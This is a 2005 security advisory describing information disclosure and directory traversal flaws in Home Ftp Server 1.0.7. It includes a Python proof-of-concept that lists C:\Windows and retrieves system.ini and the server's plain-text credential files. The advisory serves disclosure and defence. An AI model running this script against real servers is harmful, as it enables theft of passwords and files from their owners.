[NT] Home Ftp Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/28/05

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Date: 28 Aug 2005 11:07:45 +0200

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      Home Ftp Server Multiple Vulnerabilities (Information Disclosure,
    Directory Traversal)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://downstairs.dnsalias.net/homeserver.html> Home ftp server is a
    very easy to use Windows FTP server application with all the nice ftp
    features included."

    Lack of proper root directory jailing, and lack of proper default
    configuration allow attackers to obtain user name and files, and to
    download to see and download any files on the system.

    DETAILS

    Vulnerable Systems:
     * Home Ftp Server version 1.0.7 b45

    Information Disclosure:
    By default the program setting files ftpmembers.lst and ftpsettings.lst
    stores at the program home directory, which is the default home directory
    for the ftp server itself.
    The information stored the user stetting as plain text including the
    password files.

    Attackers can obtain the program settings as well as users and password in
    the system.

    Directory Traversal:
    The program allow users to obtain and download all the files available on
    the remote system.

    Exploit:
    # Home FTP Server (1.0.7 build 45) Proof Of Concept
    # by Donato Ferrante (fdonato at autistici.org |
    www.autistici.org/fdonato)

    from ftplib import FTP
    import sys

    HOST = 'localhost' #host
    PORT = 21 #port

    USER = 'test' #username
    PASS = 'test' #password

    ftp = FTP()

    try:
        ftp.connect(HOST, PORT)
    except:
        print 'Unable to connect to: %s:%d' %(HOST, PORT)
        sys.exit(-1)

    print ftp.getwelcome()

    try:
        ftp.login(USER, PASS)
    except:
        print 'Login incorrect!'
        sys.exit(-1)

    ftp.set_pasv(False)

    for i in range(4):
        if i == 0:
            raw_input("\nLIST C:\Windows\ [enter]")
            request = 'LIST C:\Windows\\'
        if i == 1:
            raw_input("\nRETR C:\Windows\system.ini [enter]")
            request = 'RETR C:\Windows\system.ini'
        elif i == 2:
            raw_input("\nRETR ftpmembers.lst [enter]")
            request = 'RETR ftpmembers.lst'
        elif i == 3:
            raw_input("\nRETR ftpsettings.lst [enter]")
            request = 'RETR ftpsettings.lst'
        try:
            ftp.retrlines(request)
        except:
            continue

    ftp.close()

    raw_input("\nbye [enter]")

    #EoF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:fdonato@autistici.org>
    Donato Ferrante.
    The original article can be found at:
    <http://www.autistici.org/fdonato/advisory/HomeFtpServer1.0.7-adv.txt>
    http://www.autistici.org/fdonato/advisory/HomeFtpServer1.0.7-adv.txt

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